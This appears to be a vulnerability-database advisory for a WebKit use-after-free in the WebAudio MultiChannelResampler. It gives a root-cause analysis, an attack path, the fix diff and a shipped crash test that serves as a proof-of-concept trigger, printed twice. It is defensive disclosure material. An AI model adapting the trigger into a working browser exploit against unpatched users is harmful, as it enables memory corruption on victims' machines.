Medium CVSS 4.3 webkit UAF 🔧 Commit mapped

Overview

Medium
Severity
4.3
CVSS
No
Exploited ITW
Fixed
Fix Status
DescriptionProcessing maliciously crafted web content may lead to an unexpected process crash
ComponentWebKit
Sub-componentWebCore Platform/Audio
Bug ClassUAF
Tracker273176
Fix commitb7ccdb65258e (WebKit/WebKit)
CWECWE-416 (Use-after-free)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
CISA KEVNot listed
CreditedHuang Xilin of Ant Group Light-Year Security Lab
Disclosed2024-07-29

Background

MultiChannelResampler / AudioBus
Audio resampling helper whose AudioBus holds per-channel sample buffers.
setChannelMemory
Points an AudioBus channel at a caller-provided memory block instead of owned storage — an aliasing optimization.
AudioWorklet
Runs author JS on the real-time audio rendering thread, driving processing concurrently with graph changes.
Buffer aliasing
Referencing externally-owned memory whose size/lifetime the referencing object does not control, risking stale/OOB access.

Root Cause Analysis

MultiChannelResampler resamples multi-channel audio. As an optimization it avoided allocating memory for the first channel by borrowing the caller-provided output buffer as the channel-0 backing store of its internal m_multiChannelBus: the constructor created the AudioBus without memory and only allocated AudioFloatArrays for channels 1..N-1 (m_channelsMemory), and process()/provideInputForChannel() called m_multiChannelBus->setChannelMemory(0, buffer.data(), framesToProcess) to point channel 0 at the caller’s transient buffer. That makes the AudioBus alias external memory whose lifetime and size are not owned by the resampler; when the resampler is driven from an AudioWorklet (author JS on the real-time audio thread) the borrowed buffer can be reused/freed or have a different length across the concurrent processing, so the AudioBus references stale or wrong-sized memory — a use-after-free / out-of-bounds on the audio channel data (the regression test is audioworklet-concurrent-resampler-crash).

The fix removes the borrowing optimization: the AudioBus is created with its own owned memory (AudioBus::create(numberOfChannels, requestFrames)), the separate m_channelsMemory vector is deleted, and process() no longer aliases the caller’s buffer for channel 0 (the ASSERT is relaxed from == to <= length).

The restored invariant is that the resampler’s AudioBus owns all its channel memory, so no channel points at externally-owned, potentially-stale buffers.

Key insight
The resampler borrowed the caller’s transient buffer as its AudioBus channel-0 memory instead of owning it, so concurrent AudioWorklet processing could leave the bus pointing at stale/wrong-sized memory; owning all channel memory removes the UAF/OOB.

Attack Path

  1. Set up an AudioWorklet resampling graph Create a WebAudio graph that drives a MultiChannelResampler with author code running in an AudioWorkletProcessor on the audio thread.
  2. Trigger channel-0 buffer borrowing Processing points the internal AudioBus’s channel 0 at the caller-provided transient buffer instead of owned memory.
  3. Invalidate the borrowed buffer Concurrent/re-entrant worklet processing reuses, resizes, or frees that buffer while the AudioBus still references it.
  4. Use-after-free / OOB The resampler reads/writes channel 0 through the stale external pointer, corrupting memory in the WebContent process.

Impact Assessment

A use-after-free / out-of-bounds on audio channel memory caused by aliasing a caller-owned buffer in the resampler’s AudioBus, reachable from WebAudio/AudioWorklet in the WebContent process. Concurrent worklet processing gives attacker-influenced timing over the stale buffer; the observable is a crash, with corruption potential. Confined to WebContent; rated medium.

Changed Functions

FunctionChangeNotes
if
Source/WebCore/platform/audio/MultiChannelResampler.cpp
modified
Processor
LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash.html
modified
process
LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash.html
modified
if
LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash.html
modified

Files Changed

  • Source/WebCore/platform/audio/MultiChannelResampler.cpp
  • Source/WebCore/platform/audio/MultiChannelResampler.h
  • LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash-expected.txt
  • LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash.html

Audit Directions

  • Other setChannelMemory borrowers
    grep platform/audio for setChannelMemory / external buffer aliasing where the AudioBus outlives or races the borrowed buffer.
  • AudioWorklet-thread lifetimes
    Audit audio DSP objects driven from AudioWorklet for buffers borrowed across process() calls.
  • Length assumptions
    Review resampler/bus code assuming framesToProcess exactly equals a fixed length rather than <=.
diff --git a/Source/WebCore/platform/audio/MultiChannelResampler.cpp b/Source/WebCore/platform/audio/MultiChannelResampler.cpp
index e5a0cfc10caa..c44df274cbbc 100644
--- a/Source/WebCore/platform/audio/MultiChannelResampler.cpp
+++ b/Source/WebCore/platform/audio/MultiChannelResampler.cpp
@@ -42,19 +42,8 @@ namespace WebCore {
 MultiChannelResampler::MultiChannelResampler(double scaleFactor, unsigned numberOfChannels, unsigned requestFrames, Function<void(AudioBus*, size_t framesToProcess)>&& provideInput)
     : m_numberOfChannels(numberOfChannels)
     , m_provideInput(WTFMove(provideInput))
-    , m_multiChannelBus(AudioBus::create(numberOfChannels, requestFrames, false))
+    , m_multiChannelBus(AudioBus::create(numberOfChannels, requestFrames))
 {
-    // As an optimization, we will use the buffer passed to provideInputForChannel() as channel memory for the first channel so we
-    // only need to allocate memory if there is more than one channel.
-    if (numberOfChannels > 1) {
-        m_channelsMemory = Vector<std::unique_ptr<AudioFloatArray>>(numberOfChannels - 1, [&](size_t i) {
-            size_t channelIndex = i + 1;
-            auto floatArray = makeUnique<AudioFloatArray>(requestFrames);
-            m_multiChannelBus->setChannelMemory(channelIndex, floatArray->data(), requestFrames);
-            return floatArray;
-        });
-    }
-
     // Create each channel's resampler.
     m_kernels = Vector<std::unique_ptr<SincResampler>>(numberOfChannels, [&](size_t channelIndex) {
         return makeUnique<SincResampler>(scaleFactor, requestFrames, std::bind(&MultiChannelResampler::provideInputForChannel, this, std::placeholders::_1, std::placeholders::_2, channelIndex));
@@ -93,16 +82,10 @@ void MultiChannelResampler::process(AudioBus* destination, size_t framesToProces
 void MultiChannelResampler::provideInputForChannel(std::span<float> buffer, size_t framesToProcess, unsigned channelIndex)
 {
     ASSERT(channelIndex < m_multiChannelBus->numberOfChannels());
-    ASSERT(framesToProcess == m_multiChannelBus->length());
+    ASSERT(framesToProcess <= m_multiChannelBus->length());
 
-    if (!channelIndex) {
-        // As an optimization, we use the provided buffer as memory for the first channel in the AudioBus. This avoids
-        // having to memcpy() for the first channel.
-        RELEASE_ASSERT(framesToProcess <= buffer.size());
-        m_multiChannelBus->setChannelMemory(0, buffer.data(), framesToProcess);
+    if (!channelIndex)
         m_provideInput(m_multiChannelBus.get(), framesToProcess);
-        return;
-    }
 
     // Copy the channel data from what we received from m_multiChannelProvider.
     memcpySpan(buffer.subspan(0, framesToProcess), m_multiChannelBus->channel(channelIndex)->span().subspan(0, framesToProcess));
diff --git a/Source/WebCore/platform/audio/MultiChannelResampler.h b/Source/WebCore/platform/audio/MultiChannelResampler.h
index 25d43100b71f..214ee06567ac 100644
--- a/Source/WebCore/platform/audio/MultiChannelResampler.h
+++ b/Source/WebCore/platform/audio/MultiChannelResampler.h
@@ -29,7 +29,6 @@
 #ifndef MultiChannelResampler_h
 #define MultiChannelResampler_h
 
-#include "AudioArray.h"
 #include <memory>
 #include <wtf/Function.h>
 #include <wtf/Vector.h>
@@ -62,7 +61,6 @@ private:
     size_t m_outputFramesReady { 0 };
     Function<void(AudioBus*, size_t framesToProcess)> m_provideInput;
     RefPtr<AudioBus> m_multiChannelBus;
-    Vector<std::unique_ptr<AudioFloatArray>> m_channelsMemory;
 };
 
 } // namespace WebCore
diff --git a/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash-expected.txt b/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash-expected.txt
new file mode 100644
index 000000000000..654ddf7f17ef
--- /dev/null
+++ b/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash-expected.txt
@@ -0,0 +1 @@
+This test passes if it does not crash.
diff --git a/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash.html b/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash.html
new file mode 100644
index 000000000000..b3ab181d4787
--- /dev/null
+++ b/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash.html
@@ -0,0 +1,44 @@
+<html>
+<head>
+    <script>
+        let worklet_source = `
+            class Processor extends AudioWorkletProcessor {
+                process(inputs, outputs, parameters) {
+                    return true;
+                }
+            }
+            registerProcessor('P2', Processor);
+        `;
+
+        let blob = new Blob([worklet_source], { type: 'application/javascript' });
+        let worklet = URL.createObjectURL(blob);
+
+        var ctx = new AudioContext({ sampleRate: 44100});
+        const dest = ctx.destination;
+        dest.channelCountMode = "max";
+
+        async function main() {
+            await ctx.audioWorklet.addModule(worklet);
+            var script_processor = ctx.createScriptProcessor();
+            script_processor.onaudioprocess = function() {
+                dest.channelCount = 1;
+                audio_worklet.disconnect();
+                if (window.testRunner)
+                    testRunner.notifyDone();
+            }
+            var audio_worklet = new AudioWorkletNode(ctx, "P2");
+            script_processor.connect(audio_worklet);
+            audio_worklet.connect(dest);
+        }
+    </script>
+</head>
+<body onload="main()">
+    <p>This test passes if it does not crash.</p>
+    <script>
+    if (window.testRunner) {
+        testRunner.waitUntilDone();
+        testRunner.dumpAsText();
+    }
+    </script>
+</body>
+</html>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash-expected.txt b/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash-expected.txt
new file mode 100644
index 000000000000..654ddf7f17ef
--- /dev/null
+++ b/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash-expected.txt
@@ -0,0 +1 @@
+This test passes if it does not crash.
diff --git a/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash.html b/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash.html
new file mode 100644
index 000000000000..b3ab181d4787
--- /dev/null
+++ b/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash.html
@@ -0,0 +1,44 @@
+<html>
+<head>
+    <script>
+        let worklet_source = `
+            class Processor extends AudioWorkletProcessor {
+                process(inputs, outputs, parameters) {
+                    return true;
+                }
+            }
+            registerProcessor('P2', Processor);
+        `;
+
+        let blob = new Blob([worklet_source], { type: 'application/javascript' });
+        let worklet = URL.createObjectURL(blob);
+
+        var ctx = new AudioContext({ sampleRate: 44100});
+        const dest = ctx.destination;
+        dest.channelCountMode = "max";
+
+        async function main() {
+            await ctx.audioWorklet.addModule(worklet);
+            var script_processor = ctx.createScriptProcessor();
+            script_processor.onaudioprocess = function() {
+                dest.channelCount = 1;
+                audio_worklet.disconnect();
+                if (window.testRunner)
+                    testRunner.notifyDone();
+            }
+            var audio_worklet = new AudioWorkletNode(ctx, "P2");
+            script_processor.connect(audio_worklet);
+            audio_worklet.connect(dest);
+        }
+    </script>
+</head>
+<body onload="main()">
+    <p>This test passes if it does not crash.</p>
+    <script>
+    if (window.testRunner) {
+        testRunner.waitUntilDone();
+        testRunner.dumpAsText();
+    }
+    </script>
+</body>
+</html>
Loading diff…

Original Bug Report

The reporter's bug is still restricted on the tracker.